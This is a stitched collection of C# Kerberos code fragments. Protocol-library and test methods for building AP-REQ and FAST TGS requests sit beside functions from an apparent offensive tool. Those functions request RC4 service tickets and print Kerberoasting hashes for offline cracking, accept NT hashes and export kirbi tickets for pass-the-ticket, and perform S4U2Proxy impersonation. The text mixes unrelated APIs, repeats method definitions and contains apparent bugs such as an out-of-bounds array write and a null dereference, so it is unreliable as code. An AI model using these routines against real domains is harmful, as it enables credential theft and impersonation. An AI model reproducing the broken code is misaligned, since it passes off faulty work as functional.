public static KrbApReq CreateApReq(
KrbKdcRep tgsRep,
KerberosKey authenticatorKey,
ApOptions options,
out KrbAuthenticator authenticator
)
{
var ticket = tgsRep.Ticket;
authenticator = new KrbAuthenticator
{
CName = tgsRep.CName,
Realm = ticket.Realm,
SequenceNumber = KerberosConstants.GetNonce(),
Subkey = KrbEncryptionKey.Generate(authenticatorKey.EncryptionType),
Checksum = KrbChecksum.EncodeDelegationChecksum(new DelegationInfo())
};
KerberosConstants.Now(out authenticator.CTime, out authenticator.CuSec);
var apReq = new KrbApReq
{
Ticket = ticket,
ApOptions = options,
Authenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
authenticatorKey,
KeyUsage.ApReqAuthenticator
)
};
return(apReq);
}
public KileApRequest CreateApRequest(
ApOptions apOptions,
ChecksumType checksumType,
int seqNumber,
ChecksumFlags flag,
EncryptionKey subkey,
AuthorizationData authorizationData)
{
var request = new KileApRequest(context);
request.Authenticator = CreateAuthenticator(
checksumType,
seqNumber,
flag,
subkey,
authorizationData,
context.ApSessionKey,
null);
request.Request.ap_options = new APOptions(KerberosUtility.ConvertInt2Flags((int)apOptions));
request.Request.msg_type = new Asn1Integer((int)MsgType.KRB_AP_REQ);
request.Request.pvno = new Asn1Integer(ConstValue.KERBEROSV5);
request.Request.ticket = context.ApTicket;
return(request);
}
/// <summary>
/// Create AP request and encode to GSSAPI token
/// </summary>
/// <param name="apOptions">AP options</param>
/// <param name="data">Authorization data</param>
/// <param name="subkey">Sub-session key in authenticator</param>
/// <param name="checksumFlags">Checksum flags</param>
/// <returns></returns>
private byte[] CreateGssApiToken(ApOptions apOptions, AuthorizationData data, EncryptionKey subkey, ChecksumFlags checksumFlags, KerberosConstValue.GSSToken gssToken = KerberosConstValue.GSSToken.GSSSPNG)
{
APOptions options = new APOptions(KerberosUtility.ConvertInt2Flags((int)apOptions));
Authenticator authenticator = CreateAuthenticator(Context.Ticket, data, subkey, checksumFlags);
this.ApRequestAuthenticator = authenticator;
KerberosApRequest request = new KerberosApRequest(
Context.Pvno,
options,
Context.Ticket,
authenticator,
KeyUsageNumber.AP_REQ_Authenticator
);
this.client.UpdateContext(request);
if ((this.Context.ChecksumFlag & ChecksumFlags.GSS_C_DCE_STYLE) == ChecksumFlags.GSS_C_DCE_STYLE)
{
return(request.ToBytes());
}
else
{
return(KerberosUtility.AddGssApiTokenHeader(request, this.client.OidPkt, gssToken));
}
}
public KileApRequest CreateApRequest(ApOptions apOptions,
ChecksumType checksumType,
int seqNumber,
ChecksumFlags flag,
EncryptionKey subkey,
AuthorizationData authorizationData)
{
return(CreateApRequest(context.UserRealm, context.UserName, apOptions, checksumType, seqNumber, flag,
subkey, authorizationData));
}
/// <summary>
/// Get the ApOptions flag and Checksum flag by the context attribute
/// </summary>
/// <param name="apOption">The apOptions flag</param>
/// <param name="checksumFlags">The checksum flag</param>
private void GetFlagsByContextAttribute(out ApOptions apOptions, out ChecksumFlags checksumFlags)
{
apOptions = ApOptions.None;
checksumFlags = ChecksumFlags.None;
if ((contextAttribute & ClientSecurityContextAttribute.Delegate) == ClientSecurityContextAttribute.Delegate)
{
throw new NotSupportedException("ContextAttribute.Delegate is not supported currently!");
}
if ((contextAttribute & ClientSecurityContextAttribute.UseSessionKey)
== ClientSecurityContextAttribute.UseSessionKey)
{
throw new NotSupportedException("ContextAttribute.UseSessionKey is not supported currently!");
}
if ((contextAttribute & ClientSecurityContextAttribute.MutualAuth)
== ClientSecurityContextAttribute.MutualAuth)
{
checksumFlags |= ChecksumFlags.GSS_C_MUTUAL_FLAG;
apOptions |= ApOptions.MutualRequired;
}
if ((contextAttribute & ClientSecurityContextAttribute.ReplayDetect)
== ClientSecurityContextAttribute.ReplayDetect)
{
checksumFlags |= ChecksumFlags.GSS_C_REPLAY_FLAG;
}
if ((contextAttribute & ClientSecurityContextAttribute.SequenceDetect)
== ClientSecurityContextAttribute.SequenceDetect)
{
checksumFlags |= ChecksumFlags.GSS_C_SEQUENCE_FLAG;
}
if ((contextAttribute & ClientSecurityContextAttribute.Confidentiality)
== ClientSecurityContextAttribute.Confidentiality)
{
checksumFlags |= ChecksumFlags.GSS_C_CONF_FLAG;
}
if ((contextAttribute & ClientSecurityContextAttribute.DceStyle) == ClientSecurityContextAttribute.DceStyle)
{
checksumFlags |= ChecksumFlags.GSS_C_DCE_STYLE;
}
if ((contextAttribute & ClientSecurityContextAttribute.ExtendedError)
== ClientSecurityContextAttribute.ExtendedError)
{
checksumFlags |= ChecksumFlags.GSS_C_EXTENDED_ERROR_FLAG;
}
if ((contextAttribute & ClientSecurityContextAttribute.Integrity)
== ClientSecurityContextAttribute.Integrity)
{
checksumFlags |= ChecksumFlags.GSS_C_INTEG_FLAG;
}
if ((contextAttribute & ClientSecurityContextAttribute.Identify) == ClientSecurityContextAttribute.Identify)
{
checksumFlags |= ChecksumFlags.GSS_C_IDENTIFY_FLAG;
}
}
/// <summary>
/// Get the ApOptions flag and Checksum flag by the context attribute
/// </summary>
/// <param name="apOption">The apOptions flag</param>
/// <param name="checksumFlags">The checksum flag</param>
private void GetFlagsByContextAttribute(out ApOptions apOptions)
{
apOptions = ApOptions.MutualRequired;
var checksumFlags = ChecksumFlags.None;
if ((contextAttribute & ClientSecurityContextAttribute.Delegate) == ClientSecurityContextAttribute.Delegate)
{
checksumFlags |= ChecksumFlags.GSS_C_DELEG_FLAG;
}
if ((contextAttribute & ClientSecurityContextAttribute.MutualAuth)
== ClientSecurityContextAttribute.MutualAuth)
{
checksumFlags |= ChecksumFlags.GSS_C_MUTUAL_FLAG;
apOptions |= ApOptions.MutualRequired;
}
if ((contextAttribute & ClientSecurityContextAttribute.ReplayDetect)
== ClientSecurityContextAttribute.ReplayDetect)
{
checksumFlags |= ChecksumFlags.GSS_C_REPLAY_FLAG;
}
if ((contextAttribute & ClientSecurityContextAttribute.SequenceDetect)
== ClientSecurityContextAttribute.SequenceDetect)
{
checksumFlags |= ChecksumFlags.GSS_C_SEQUENCE_FLAG;
}
if ((contextAttribute & ClientSecurityContextAttribute.Confidentiality)
== ClientSecurityContextAttribute.Confidentiality)
{
apOptions = ApOptions.None;
checksumFlags |= ChecksumFlags.GSS_C_CONF_FLAG;
}
if ((contextAttribute & ClientSecurityContextAttribute.DceStyle) == ClientSecurityContextAttribute.DceStyle)
{
checksumFlags |= ChecksumFlags.GSS_C_DCE_STYLE;
}
if ((contextAttribute & ClientSecurityContextAttribute.ExtendedError)
== ClientSecurityContextAttribute.ExtendedError)
{
checksumFlags |= ChecksumFlags.GSS_C_EXTENDED_ERROR_FLAG;
}
if ((contextAttribute & ClientSecurityContextAttribute.Integrity)
== ClientSecurityContextAttribute.Integrity)
{
checksumFlags |= ChecksumFlags.GSS_C_INTEG_FLAG;
}
if ((contextAttribute & ClientSecurityContextAttribute.Identify) == ClientSecurityContextAttribute.Identify)
{
checksumFlags |= ChecksumFlags.GSS_C_IDENTIFY_FLAG;
}
this.Context.ChecksumFlag = checksumFlags;
}
internal void Encode(AsnWriter writer, Asn1Tag tag)
{
writer.PushSequence(tag);
writer.PushSequence(new Asn1Tag(TagClass.ContextSpecific, 0));
writer.WriteInteger(ProtocolVersionNumber);
writer.PopSequence(new Asn1Tag(TagClass.ContextSpecific, 0));
writer.PushSequence(new Asn1Tag(TagClass.ContextSpecific, 1));
writer.WriteInteger((long)MessageType);
writer.PopSequence(new Asn1Tag(TagClass.ContextSpecific, 1));
writer.PushSequence(new Asn1Tag(TagClass.ContextSpecific, 2));
writer.WriteBitString(ApOptions.AsReadOnly());
writer.PopSequence(new Asn1Tag(TagClass.ContextSpecific, 2));
writer.PushSequence(new Asn1Tag(TagClass.ContextSpecific, 3));
Ticket?.Encode(writer);
writer.PopSequence(new Asn1Tag(TagClass.ContextSpecific, 3));
writer.PushSequence(new Asn1Tag(TagClass.ContextSpecific, 4));
Authenticator?.Encode(writer);
writer.PopSequence(new Asn1Tag(TagClass.ContextSpecific, 4));
writer.PopSequence(tag);
}
public KileApRequest CreateApRequest(
Realm cRealm,
PrincipalName cName,
ApOptions apOptions,
ChecksumType checksumType,
int seqNumber,
ChecksumFlags flag,
EncryptionKey subkey,
AuthorizationData authorizationData)
{
if (cRealm == null)
{
throw new ArgumentNullException("cRealm");
}
if (cName == null)
{
throw new ArgumentNullException("cName");
}
KileApRequest request = new KileApRequest(context);
request.Authenticator = CreateAuthenticator(cRealm,
cName,
checksumType,
seqNumber,
flag,
subkey,
authorizationData,
context.ApSessionKey,
null);
request.Request.ap_options = new APOptions(KileUtility.ConvertInt2Flags((int)apOptions));
request.Request.msg_type = new Asn1Integer((int)MsgType.KRB_AP_REQ);
request.Request.pvno = new Asn1Integer(ConstValue.KERBEROSV5);
request.Request.ticket = context.ApTicket;
return(request);
}
//TODO...
//askTGS with TGT kirbi
public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
KrbAsRep asRep,
string username,
string password,
string domainName,
string spn,
bool isUnconstrained = false,
bool outKirbi = false,
bool verbose = false,
bool kerberoast = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT,
bool outfile = false,
string srvName = null,
string tgsHash = null,
EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
)
{
var now = DateTime.Now;
credKey = password != null ?
new KerberosPasswordCredential(username, password, domainName).CreateKey() :
new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();
KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
var sessionKey = asDecrypted.Key;
//Request Service Ticket parameters
ApOptions apOptions = ApOptions.Reserved;
KdcOptions kdcOptions =
KdcOptions.Forwardable |
KdcOptions.Renewable |
KdcOptions.RenewableOk |
KdcOptions.Canonicalize;
string s4u = null;
KrbTicket s4uTicket = null;
KrbTicket u2uServerTicket = null;
if (isUnconstrained)
{
spn = $"krbtgt/{domainName}";
kdcOptions |= KdcOptions.Forwarded;
}
var rst = new RequestServiceTicket()
{
ServicePrincipalName = spn,
ApOptions = apOptions,
S4uTarget = s4u,
S4uTicket = s4uTicket,
UserToUserTicket = u2uServerTicket,
KdcOptions = kdcOptions,
Realm = domainName
};
var sname = rst.ServicePrincipalName.Split('/', '@');
var tgt = asRep.Ticket;
var additionalTickets = new List <KrbTicket>();
if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
{
additionalTickets.Add(rst.UserToUserTicket);
}
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
rst.KdcOptions |= KdcOptions.Forwardable;
}
if (rst.S4uTicket != null)
{
rst.KdcOptions |= KdcOptions.ConstrainedDelegation;
additionalTickets.Add(rst.S4uTicket);
}
var body = new KrbKdcReqBody
{
//Specify RC4 as the only supported EType
EType = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(),
KdcOptions = rst.KdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
Realm = rst.Realm,
SName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = sname
},
Till = KrbConstants.KerberosConstants.EndOfTime,
CName = rst.CNameHint
};
if (additionalTickets.Count > 0)
{
body.AdditionalTickets = additionalTickets.ToArray();
}
var bodyChecksum = KrbChecksum.Create(
body.Encode(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqChecksum
);
//ApReq
//Authenticator
var authenticator = new KrbAuthenticator
{
CName = asRep.CName,
Realm = asRep.Ticket.Realm,
SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
Checksum = bodyChecksum,
CTime = now,
CuSec = now.Millisecond //new Random().Next(0, 999999)
};
var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);
subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey;
authenticator.Subkey = subSessionKey;
var encryptedAuthenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqAuthenticator
);
var apReq = new KrbApReq
{
Ticket = tgt,
ApOptions = apOptions,
Authenticator = encryptedAuthenticator
};
var pacOptions = new KrbPaPacOptions
{
Flags = PacOptions.BranchAware
}.Encode();
var paData = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_TGS_REQ,
Value = apReq.EncodeApplication()
},
new KrbPaData
{
Type = PaDataType.PA_PAC_OPTIONS,
Value = pacOptions
}
};
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
var paS4u = new KrbPaForUser
{
AuthPackage = "Kerberos",
UserName = new KrbPrincipalName {
Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
},
UserRealm = tgt.Realm
};
paS4u.GenerateChecksum(subSessionKey.AsKey());
paData.Add(new KrbPaData
{
Type = PaDataType.PA_FOR_USER,
Value = paS4u.Encode()
});
}
var tgs = new KrbTgsReq
{
PaData = paData.ToArray(),
Body = body
};
ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();
Console.WriteLine("[*] Sending TGS-REQ ...");
if (verbose)
{
PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
}
CancellationToken cancellation = default;
cancellation.ThrowIfCancellationRequested();
KrbTgsRep tgsRep = null;
try
{
tgsRep = await transport.SendMessage <KrbTgsRep>(
rst.Realm,
encodedTgs,
cancellation
);
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message);
Environment.Exit(0);
}
Console.WriteLine("[*] Receiving TGS-REP ...");
if (verbose)
{
PrintFunc.PrintRep(tgsRep, credKey);
}
var returnFlag = TicketFlags.Anonymous;
try
{
//TGS-REP Enc-Part
//https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144
KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
subSessionKey.AsKey(),
KeyUsage.EncTgsRepPartSubSessionKey,
(ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));
if (verbose)
{
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
returnFlag = tgsDecryptedRepPart.Flags;
if (!string.IsNullOrEmpty(tgsHash))
{
//=========================================
//TGS Tiket Enc-Part
//Service account Cred
var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype);
//TGS-REQ Ticket Enc-Part
KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart>
(kerbCred2.CreateKey(),
KeyUsage.Ticket,
(ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t));
Console.WriteLine(" * [Decrypted Ticket Enc-Part]:");
PrintFunc.PrintTicketEnc(ticketDecrypted);
//=========================================
}
}
if (outKirbi || outfile)
{
var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
if (outKirbi)
{
Console.WriteLine("[+] TGS Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS));
}
if (outfile)
{
Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS);
}
}
}
catch (Exception e)
{
Console.WriteLine("[x] {0}", e.Message);
}
if (kerberoast)
{
//Kerberoasting
var encType = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString());
var myCipher = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "");
var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32));
Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash);
}
return(returnFlag);
}
public static KrbApReq CreateApReq(KrbKdcRep tgsRep, KerberosKey authenticatorKey, ApOptions options)
{
var ticket = tgsRep.Ticket;
KerberosConstants.Now(out DateTimeOffset time, out int usec);
var authenticator = new KrbAuthenticator
{
CName = tgsRep.CName,
CTime = time,
Cusec = usec,
Realm = ticket.Realm,
SequenceNumber = KerberosConstants.GetNonce(),
Subkey = null,
AuthenticatorVersionNumber = 5
};
var apReq = new KrbApReq
{
Ticket = ticket,
ApOptions = options,
Authenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
authenticatorKey,
KeyUsage.ApReqAuthenticator
)
};
return(apReq);
}
//S4U2Proxy
//[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo
//The KDC checks if the security principal name(SPN) for Service 2,
//identified in the sname and srealm fields of the KRB_TGS_REQ message,
//is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter.
//If it is, then the KDC replies with a service ticket for Service 2.
//Otherwise the KDC MUST return `KRB-ERR-BADOPTION`.
public static async System.Threading.Tasks.Task S4U2Proxy(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
KrbAsRep asRep,
KrbTgsRep s4u2self,
string username,
string password,
string domainName,
string impersonateuser,
string spn,
bool outKirbi = false,
bool verbose = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT)
{
var now = DateTime.UtcNow;
credKey = password != null ?
new KerberosPasswordCredential(username, password, domainName).CreateKey() :
new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();
KrbEncAsRepPart asDecrypted = password != null ?
new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d)) :
new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
var sessionKey = asDecrypted.Key;
//Request Service Ticket parameters
ApOptions apOptions = ApOptions.Reserved;
KdcOptions kdcOptions =
KdcOptions.Forwardable |
KdcOptions.Renewable |
KdcOptions.RenewableOk;
string s4u = null;
KrbTicket s4uTicket = s4u2self.Ticket;
KrbTicket u2uServerTicket = null;
var rst = new RequestServiceTicket()
{
ServicePrincipalName = spn,
ApOptions = apOptions,
S4uTarget = s4u,
S4uTicket = s4uTicket,
UserToUserTicket = u2uServerTicket,
KdcOptions = kdcOptions,
Realm = domainName
};
var sname = rst.ServicePrincipalName.Split('/', '@');
var tgt = asRep.Ticket;
var additionalTickets = new List <KrbTicket>();
if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
{
additionalTickets.Add(rst.UserToUserTicket);
}
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
rst.KdcOptions |= KdcOptions.Forwardable;
}
if (rst.S4uTicket != null)
{
rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket;
additionalTickets.Add(rst.S4uTicket);
}
//EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT };
string[] name = { };
var body = new KrbKdcReqBody
{
EType = KrbConstants.KerberosConstants.ETypes.ToArray(),
KdcOptions = rst.KdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
Realm = rst.Realm,
SName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = sname
},
Till = KrbConstants.KerberosConstants.EndOfTime,
CName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = name
},
};
if (additionalTickets.Count > 0)
{
body.AdditionalTickets = additionalTickets.ToArray();
}
var bodyChecksum = KrbChecksum.Create(
body.Encode(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqChecksum
);
//ApReq
//Authenticator
var authenticator = new KrbAuthenticator
{
CName = asRep.CName,
Realm = asRep.Ticket.Realm,
SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
Checksum = bodyChecksum,
CTime = now,
CuSec = now.Millisecond //new Random().Next(0, 999999)
};
var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);
subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey;
authenticator.Subkey = subSessionKey;
var encryptedAuthenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqAuthenticator
);
var apReq = new KrbApReq
{
Ticket = tgt,
ApOptions = apOptions,
Authenticator = encryptedAuthenticator
};
var pacOptions = new KrbPaPacOptions
{
Flags = PacOptions.ResourceBasedConstrainedDelegation
}.Encode();
var paData = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_TGS_REQ,
Value = apReq.EncodeApplication()
},
new KrbPaData
{
Type = PaDataType.PA_PAC_OPTIONS,
Value = pacOptions
}
};
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
var paS4u = new KrbPaForUser
{
AuthPackage = "Kerberos",
UserName = new KrbPrincipalName {
Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
},
UserRealm = tgt.Realm
};
paS4u.GenerateChecksum(subSessionKey.AsKey());
paData.Add(new KrbPaData
{
Type = PaDataType.PA_FOR_USER,
Value = paS4u.Encode()
});
}
var tgs = new KrbTgsReq
{
PaData = paData.ToArray(),
Body = body
};
ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();
Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ...");
if (verbose)
{
PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
}
CancellationToken cancellation = default;
cancellation.ThrowIfCancellationRequested();
KrbTgsRep tgsRep = null;
try
{
tgsRep = await transport.SendMessage <KrbTgsRep>(
rst.Realm,
encodedTgs,
cancellation
);
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
Environment.Exit(0);
}
Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ...");
try
{
KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
subSessionKey.AsKey(),
KeyUsage.EncTgsRepPartSubSessionKey,
(ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));
if (verbose)
{
PrintFunc.PrintRep(tgsRep, credKey);
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
}
if (outKirbi)
{
var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
Console.WriteLine("[+] TGS Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS));
}
}catch (Exception e)
{
Console.WriteLine("[x] {0}", e.Message);
}
}
/// <summary>
/// Create and send FAST TGS request
/// </summary>
/// <param name="sName">Service principal name</param>
/// <param name="kdcOptions">KDC options</param>
/// <param name="innerSeqPaData">A sequence of preauthentication data in FAST request</param>
/// <param name="outerSeqPaData">A sequence of preauthentication data</param>
/// <param name="subKey">Sub-session key for authenticator in FAST armor field</param>
/// <param name="fastOptions">FAST options</param>
/// <param name="apOptions">AP options in FAST armor field</param>
/// <param name="data">Authorization data</param>
public void SendTgsRequestWithExplicitFast(
string sName,
KdcOptions kdcOptions,
Asn1SequenceOf<PA_DATA> innerSeqPaData,
Asn1SequenceOf<PA_DATA> outerSeqPaData,
EncryptionKey subKey,
FastOptions fastOptions,
ApOptions apOptions,
AuthorizationData data = null)
{
Context.Subkey = subKey;
Context.ReplyKey = subKey;
string domain = this.Context.Realm.Value;
PrincipalName sname = new PrincipalName(new KerbInt32((int)PrincipalType.NT_SRV_INST),
KerberosUtility.String2SeqKerbString(sName.Split('/')));
KDC_REQ_BODY kdcReqBody = CreateKdcRequestBody(kdcOptions, sname, data);
Asn1BerEncodingBuffer bodyBuffer = new Asn1BerEncodingBuffer();
kdcReqBody.BerEncode(bodyBuffer);
//Create PA-TGS-REQ
APOptions option = new APOptions(KerberosUtility.ConvertInt2Flags((int)ApOptions.None));
ChecksumType checksumType = KerberosUtility.GetChecksumType(Context.SelectedEType);
KerberosApRequest apRequest = CreateApRequest(
option,
Context.Ticket,
subKey,
data,
KeyUsageNumber.TG_REQ_PA_TGS_REQ_padataOR_AP_REQ_Authenticator,
checksumType,
bodyBuffer.Data);
PaTgsReq paTgsReq = new PaTgsReq(apRequest.Request);
Asn1SequenceOf<PA_DATA> tempPaData = null;
if (outerSeqPaData == null || outerSeqPaData.Elements == null || outerSeqPaData.Elements.Length == 0)
{
tempPaData = new Asn1SequenceOf<PA_DATA>(new PA_DATA[] { paTgsReq.Data });
}
else
{
tempPaData.Elements = new PA_DATA[outerSeqPaData.Elements.Length + 1];
Array.Copy(outerSeqPaData.Elements, tempPaData.Elements, outerSeqPaData.Elements.Length);
tempPaData.Elements[outerSeqPaData.Elements.Length] = paTgsReq.Data;
}
//Create explicit FAST armor
EncryptionKey explicitSubkey = KerberosUtility.MakeKey(
Context.SelectedEType,
"Password04!",
"This is a salt");
Authenticator plaintextAuthenticator = CreateAuthenticator(Context.ArmorTicket, null, explicitSubkey);
KerberosApRequest apReq = new KerberosApRequest(Context.Pvno,
new APOptions(KerberosUtility.ConvertInt2Flags((int)apOptions)),
Context.ArmorTicket,
plaintextAuthenticator,
KeyUsageNumber.AP_REQ_Authenticator);
FastArmorApRequest explicitArmor = new FastArmorApRequest(apReq.Request);
//Create armor key
var armorKey = GetArmorKey(Context.ArmorSessionKey, subKey, explicitSubkey);
Context.FastArmorkey = armorKey;
//Create PA-FX-FAST
var pafxfast = CreateTgsPaFxFast(armorKey, Context.ArmorTicket, fastOptions, apOptions, tempPaData, sName, paTgsReq.Data.padata_value.ByteArrayValue, explicitArmor);
PA_DATA[] elements;
if (outerSeqPaData != null && outerSeqPaData.Elements.Length > 0)
{
elements = new PA_DATA[outerSeqPaData.Elements.Length + 1];
Array.Copy(outerSeqPaData.Elements, elements, outerSeqPaData.Elements.Length);
elements[outerSeqPaData.Elements.Length] = pafxfast.Data;
elements[outerSeqPaData.Elements.Length + 1] = paTgsReq.Data;
}
else
{
elements = new PA_DATA[] { pafxfast.Data, paTgsReq.Data };
}
Asn1SequenceOf<PA_DATA> seqPaData = new Asn1SequenceOf<PA_DATA>();
KerberosTgsRequest tgsRequest = new KerberosTgsRequest(KerberosConstValue.KERBEROSV5, kdcReqBody, new Asn1SequenceOf<PA_DATA>(elements), Context.TransportType);
this.SendPdu(tgsRequest);
this.testSite.Log.Add(LogEntryKind.Debug, "Send FAST TGS request.");
}
/// <summary>
/// Create and send FAST TGS request
/// </summary>
/// <param name="sName">Service principal name</param>
/// <param name="kdcOptions">KDC options</param>
/// <param name="innerSeqPaData">A sequence of preauthentication data in FAST request</param>
/// <param name="outerSeqPaData">A sequence of preauthentication data</param>
/// <param name="subKey">Sub-session key for authenticator in FAST armor field</param>
/// <param name="fastOptions">FAST options</param>
/// <param name="apOptions">AP options in FAST armor field</param>
/// <param name="data">Authorization data</param>
public void SendTgsRequestWithFastHideCName(
string sName,
PrincipalName cName,
KdcOptions kdcOptions,
Asn1SequenceOf<PA_DATA> innerSeqPaData,
Asn1SequenceOf<PA_DATA> outerSeqPaData,
EncryptionKey subKey,
ApOptions apOptions,
AuthorizationData data = null)
{
var fastOptions = new Protocols.TestTools.StackSdk.Security.KerberosV5.Preauth.FastOptions(
KerberosUtility.ConvertInt2Flags((int)FastOptionFlags.Hide_Client_Names));
Context.Subkey = subKey;
Context.ReplyKey = subKey;
string domain = this.Context.Realm.Value;
PrincipalName sname = new PrincipalName(new KerbInt32((int)PrincipalType.NT_SRV_INST),
KerberosUtility.String2SeqKerbString(sName.Split('/')));
KDC_REQ_BODY kdcReqBody = CreateKdcRequestBody(kdcOptions, sname, data);
kdcReqBody.cname = cName;
Asn1BerEncodingBuffer bodyBuffer = new Asn1BerEncodingBuffer();
kdcReqBody.BerEncode(bodyBuffer);
APOptions option = new APOptions(KerberosUtility.ConvertInt2Flags((int)ApOptions.None));
ChecksumType checksumType = KerberosUtility.GetChecksumType(Context.SelectedEType);
KerberosApRequest apRequest = CreateApRequest(
option,
Context.Ticket,
subKey,
data,
KeyUsageNumber.TG_REQ_PA_TGS_REQ_padataOR_AP_REQ_Authenticator,
checksumType,
bodyBuffer.Data);
PaTgsReq paTgsReq = new PaTgsReq(apRequest.Request);
Asn1SequenceOf<PA_DATA> tempPaData = null;
if (outerSeqPaData == null || outerSeqPaData.Elements == null || outerSeqPaData.Elements.Length == 0)
{
tempPaData = new Asn1SequenceOf<PA_DATA>(new PA_DATA[] { paTgsReq.Data });
}
else
{
tempPaData.Elements = new PA_DATA[outerSeqPaData.Elements.Length + 1];
Array.Copy(outerSeqPaData.Elements, tempPaData.Elements, outerSeqPaData.Elements.Length);
tempPaData.Elements[outerSeqPaData.Elements.Length] = paTgsReq.Data;
}
var armorKey = GetArmorKey(Context.SessionKey, subKey);
var pafxfast = CreateTgsPaFxFast(armorKey, Context.Ticket, fastOptions, apOptions, tempPaData, sName, paTgsReq.Data.padata_value.ByteArrayValue);
Context.FastArmorkey = armorKey;
PA_DATA[] elements;
if (outerSeqPaData != null && outerSeqPaData.Elements.Length > 0)
{
elements = new PA_DATA[outerSeqPaData.Elements.Length + 1];
Array.Copy(outerSeqPaData.Elements, elements, outerSeqPaData.Elements.Length);
elements[outerSeqPaData.Elements.Length] = pafxfast.Data;
elements[outerSeqPaData.Elements.Length + 1] = paTgsReq.Data;
}
else
{
elements = new PA_DATA[] { pafxfast.Data, paTgsReq.Data };
}
Asn1SequenceOf<PA_DATA> seqPaData = new Asn1SequenceOf<PA_DATA>();
